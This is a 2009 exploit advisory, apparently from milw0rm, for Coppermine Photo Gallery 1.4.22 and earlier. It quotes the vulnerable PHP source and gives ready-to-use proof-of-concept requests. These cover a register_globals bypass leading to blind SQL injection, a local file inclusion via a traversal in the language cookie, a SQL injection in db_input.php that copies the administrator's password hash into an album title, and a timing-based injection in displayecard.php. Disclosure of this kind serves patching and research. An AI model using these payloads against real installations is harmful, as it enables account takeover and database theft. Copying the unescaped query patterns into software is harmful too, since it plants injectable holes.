Author: girex
Site: http://girex.altervista.org/
CMS: Coppermine Photo Gallery <= 1.4.22
Coppermine Foto Gallery suffers from different vulnerabilities.
There is a Local File Inclusion and a Blind SQL Injection working with
register_globals = On and magic_quotes_gpc = Off
and
a SQL Injection working in case of registration is enabled and a user can create/modify albums
(default setting if registration is enabled) and php.ini regardless
and
a Blind SQL Injection when is enabled the ecard logging system
(that is not a default configuration) and php.ini regardless
Let's see how do they work...
-------------------------------------------------------------------------------------------
Is possible to bypass the anti-register_global protection and obtain a blind sql injection or a local file inclusion.
I couldn't find a better way to exploit bypassing the anti-register_global protection so i just write this
Proof of Concepts.
Let's see the anti-register_globals protection and how to bypass it...
File: /includes/init.inc.php - lines: 42-65
$keysToSkip = array('_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', 'HTML_SUBST', 'keysToSkip', 'register_globals_flag', 'cpgdebugger');
if (ini_get('register_globals') == '1' || strtolower(ini_get('register_globals')) == 'on') {
$register_globals_flag = true;
} else {
$register_globals_flag = false;
}
if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
}
}
if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && $register_globals_flag) unset($$key);
}
}
Same happens for $_COOKIE and $_SERVER vars and also with magic_quotes_gpc = off
This protection is easily bypassable defining GLOBALS vars via GET or via POST.
Example: index.php?GLOBALS[dummy_example]=damn
It defines the global var dummy_example.
Let's see how to exploit it...
File: ./thumbnails.php - lines: 79-
if (isset($_GET['sort'])) $USER['sort'] = $_GET['sort'];
if (isset($_GET['cat'])) $cat = (int)$_GET['cat']; <== bypass the int cast
if (isset($_GET['album'])) $album = $_GET['album'];
...
if (is_numeric($album)) {
...
} else {
$album_set_array = array();
if ($cat == USER_GAL_CAT)
$where = 'category > ' . FIRST_USER_CAT;
else
$where = "category = '$cat'";
$result = cpg_db_query("SELECT aid FROM {$CONFIG['TABLE_ALBUMS']} WHERE $where"); <== Vulnerable query
Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=1%23 true
[target]/[path]/thumnails.php?album=alpha&GLOBALS[cat]=99999' OR 1=2%23 false
-------------------------------------------------------------------------------------------
It's also possible to obtain a local file inclusion overwriting $USER array and in particular
$USER['lang'] vars...
File: /include/functions.inc.php - lines: 128-135
function user_get_profile()
{
global $CONFIG, $USER;
if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
$USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
$USER['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________'); <== we bypass it
}
if (!isset($USER['ID']) || strlen($USER['ID']) != 32) {
list($usec, $sec) = explode(' ', microtime());
$seed = (float) $sec + ((float) $usec * 100000);
srand($seed);
$USER=array('ID' => md5(uniqid(rand(),1)));
} else {
$USER['ID'] = addslashes($USER['ID']);
}
if (!isset($USER['am'])) $USER['am'] = 1;
}
File: /includes/init.inc.php - lines: 318-346
if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
}
elseif ($CONFIG['charset'] == 'utf-8') <== default configuration
{
include('include/select_lang.inc.php');
if (file_exists('lang/' . $USER['lang'] . '.php'))
{
$CONFIG['default_lang'] = $CONFIG['lang']; // Save default language
$CONFIG['lang'] = $USER['lang'];
}
}
else
{
unset($USER['lang']);
}
if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
{
unset($CONFIG['default_lang']);
}
if (!file_exists("lang/{$CONFIG['lang']}.php"))
$CONFIG['lang'] = 'english';
// We load the chosen language file
require "lang/{$CONFIG['lang']}.php"; <== vulnerable include
Here's a proof of concept:
NOTE: - we need register_globals = on and magic_quotes_gpc = off
GET /[path]/index.php?GLOBALS[USER][ID]=5b83a5f92603efcdb65d47c9a2991d6b&GLOBALS[USER][lang]=../README.txt%00 HTTP/1.1
Host: [host]
Connection: close
This will include README.txt, if register_globals=on magic_quotes_gpc=off
and if User-Agent and Accept-Language headers are not set. (see code)
-------------------------------------------------------------------------------------------
When registration are enabled and a user can create/modify albums with password is possible
to obatain a blind sql injection php.ini regardless.
File: ./db_input.php
$event = isset($_POST['event']) ? $_POST['event'] : $_GET['event'];
switch ($event) {
...
case 'album_update':
if (!(USER_ADMIN_MODE || GALLERY_ADMIN_MODE)) cpg_die(ERROR, $lang_errors['perm_denied'], __FILE__, __LINE__); <== USER_ADMIN_MODE is TRUE if we are logged in
$aid = (int)$_POST['aid'];
$title = addslashes(trim($_POST['title']));
$category = (int)$_POST['category'];
$description = addslashes(trim($_POST['description']));
$keyword = addslashes(trim($_POST['keyword']));
$thumb = (int)$_POST['thumb'];
$visibility = (int)$_POST['visibility'];
$uploads = $_POST['uploads'] == 'YES' ? 'YES' : 'NO';
$comments = $_POST['comments'] == 'YES' ? 'YES' : 'NO';
$votes = $_POST['votes'] == 'YES' ? 'YES' : 'NO';
$password = $_POST['alb_password']; <== this var is not addslashed
$password_hint = addslashes(trim($_POST['alb_password_hint']));
$visibility = !empty($password) ? FIRST_USER_CAT + USER_ID : $visibility;
if (!$title) cpg_die(ERROR, $lang_db_input_php['alb_need_title'], __FILE__, __LINE__);
if (GALLERY_ADMIN_MODE) {
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', category='$category', thumb='$thumb', uploads='$uploads', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', alb_password_hint='$password_hint', keyword='$keyword' WHERE aid='$aid' LIMIT 1";
} else {
$category = FIRST_USER_CAT + USER_ID;
$query = "UPDATE {$CONFIG['TABLE_ALBUMS']} SET title='$title', description='$description', thumb='$thumb', comments='$comments', votes='$votes', visibility='$visibility', alb_password='$password', <== vulnerable query alb_password_hint='$password_hint',keyword='$keyword' WHERE aid='$aid' AND category='$category' LIMIT 1";
}
$update = cpg_db_query($query);
$_POST['alb_password'] is not addslashed before being used in a query.
You must know that all _GET _POST _REQUEST variables are sanizated in init.inc.php...
File: /include/init.inc.php
// Do some cleanup in GET, POST and cookie data and un-register global vars
$HTML_SUBST = array('&' => '&', '"' => '"', '<' => '<', '>' => '>', '%26' => '&', '%22' => '"', '%3C' => '<', '%3E' => '>','%27' => ''', "'" => ''');
...
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
...
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
...
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
So quotes are fixed, but what about backslash (\). We can manipulate the query inserting a backslash at the end of
$_POST['alb_password'] and execute SQL in $_POST['alb_password_hint'] parameter.
Here's a Proof of Concept:
NOTE: - registration must be enabled and an user must can create/modify albums
- works regardless of php.ini settings
- Log in with your user credential
- Create an album with password
- Do this request:
POST /[path]/db_input.php HTTP/1.1
Host: [host]
Keep-Alive: 300
Connection: keep-alive
Cookie: [your_cookies]
Content-Type: application/x-www-form-urlencoded
event=album_update&title=x&aid=[YOUR_ALBUM_ID]&alb_password=%5C&alb_password_hint=,title=(SELECT user_password FROM cpg14x_users WHERE user_id=1) WHERE aid=[YOUR_ALBUM_ID]%23
You will set the admin's password (user with user_id=1) as the title of your album.
-------------------------------------------------------------------------------------------
And we have also a Blind SQL Injection with a specific configuration of coppermine...
File: ./displayecard.php - lines 26-38
if (!isset($_GET['data'])) cpg_die(CRITICAL_ERROR, $lang_errors['param_missing'], __FILE__, __LINE__);
$data = array();
$data = @unserialize(@base64_decode($_GET['data']));
// attempt to obtain full link from db if ecard logging enabled and min 12 chars of data is provided and only 1 match
if ((!is_array($data)) && $CONFIG['log_ecards'] && (strlen($_GET['data']) > 12)) {
$result = cpg_db_query("SELECT link FROM {$CONFIG['TABLE_ECARDS']} WHERE link LIKE '{$_GET['data']}%'");
if (mysql_num_rows($result) === 1) {
$row = mysql_fetch_assoc($result);
$data = @unserialize(@base64_decode($row['link']));
}
}
Here's a Proof of Concept:
NOTE: - $CONFIG['log_ecards'] must be set to 1 (and this is NOT a default config)
- works regardless of php.ini settings
Make an injection with this php code:
<?php
$injection = "%' OR BENCHMARK(999999, md5(0))#";
$injection = urlencode(base64_encode(serialize($injection)));
?>
Then:
GET http://[host]/[path]/displayecard.php?data=[$injection] HTTP/1.1
girex
# milw0rm.com [2009-05-18]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation